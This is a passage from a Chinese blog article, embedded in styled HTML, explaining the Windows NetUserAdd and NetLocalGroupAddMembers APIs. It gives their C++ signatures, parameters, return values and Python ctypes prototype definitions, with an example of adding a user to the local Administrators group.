solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定有关用户帐户的二级信息和附加属性。 此级别仅在服务器上有效。 buf 参数指向USER_INFO_3结构。 请注意，建议改用 USER_INFO_4 。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">4</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定有关用户帐户的二级信息和附加属性。buf 参数指向USER_INFO_4结构。Windows 2000： 不支持此级别。</span></p></td></tr></tbody></table></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] buf</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">指向指定数据的缓冲区的指针。 此数据的格式取决于 级别 参数的值。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[out] parm_err</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">指向一个值的指针，该值接收导致ERROR_INVALID_PARAMETER的用户信息结构第一个成员的索引。 如果此参数为 NULL，则错误时不会返回索引。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">返回值</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果函数成功，则返回值NERR_Success。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">在python中的函数原型定义</span></span></h2><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">netapi32.NetUserAdd.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.LPWSTR,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># servername</span></span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># level</span></span><span leaf=""><br/></span><span leaf="">    ctypes.POINTER(USER_INFO_1),  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># buf</span></span><span leaf=""><br/></span><span leaf="">    wintypes.PDWORD   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># parm_err</span></span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">netapi32.NetUserAdd.restype = wintypes.DWORD</span><span leaf=""><br/></span></p></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x04 NetLocalGroupAddMembers 函数</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">NetLocalGroupAddMembers 是用来把用户加入到某个本地用户组里的。 通俗来说Windows 里有“管理员”、“普通用户”等用户组，这个函数就像是帮我们把某个用户加入到某个组，让他拥有那个组对应的权限。 比如我们用 NetUserAdd 创建了个用户叫 testuser，再用 NetLocalGroupAddMembers 把他加进 “Administrators” 组，那这个用户就有管理员权限了。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">c++语法</span></span></h2><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">] LPCWSTR servername,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">] LPCWSTR groupname,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">] DWORD   level,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">] LPBYTE  buf,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf="">] DWORD   totalentries</span><span leaf=""><br/></span><span leaf="">);</span><span leaf=""><br/></span></p></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">参数</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] servername 指向常量字符串的指针，该字符串指定要对其执行函数的远程服务器的 DNS 或 NetBIOS 名称。 如果此参数为 NULL，则使用本地计算机。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] groupname 指向常量字符串的指针，该字符串指定指定用户或全局组将添加到的本地组的名称。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] level 指定数据的信息级别。 此参数的取值可为下列值之一：</span></p></li></ul><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: rgb(240, 240, 240) left top no-repeat;height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">值</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: rgb(240, 240, 240) left top no-repeat;height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">含义</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">0</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定新本地组成员的安全 标识符 (SID) 。 buf 参数指向LOCALGROUP_MEMBERS_INFO_0结构的数组。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">3</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">指定新本地组成员的域和名称。 buf 参数指向LOCALGROUP_MEMBERS_INFO_3结构的数组。</span></p></td></tr></tbody></table></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] buf 指向缓冲区的指针，该缓冲区包含新本地组成员的数据。 此数据的格式取决于 级别 参数的值。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">[in] totalentries 指定 buf 参数指向的缓冲区中的条目数。</span></p></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">返回值</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果函数成功，则返回值NERR_Success。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">在python中的函数原型定义</span></span></h2><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">netapi32.NetLocalGroupAddMembers.argtypes = [</span><span leaf=""><br/></span><span leaf="">    wintypes.LPWSTR,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># servername</span></span><span leaf=""><br/></span><span leaf="">    wintypes.LPWSTR,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># groupname</span></span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD,   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># level</span></span><span leaf=""><br/></span><span leaf="">    ctypes.POINTER(LOCALGROUP_MEMBERS_INFO_3),  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># buf</span></span><span leaf=""><br/></span><span leaf="">    wintypes.DWORD    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># totalentries</span></span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">netapi32.NetLocalGroupAddMembers.restype = wintypes.DWORD</span><span leaf=""><br/></span></p></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: 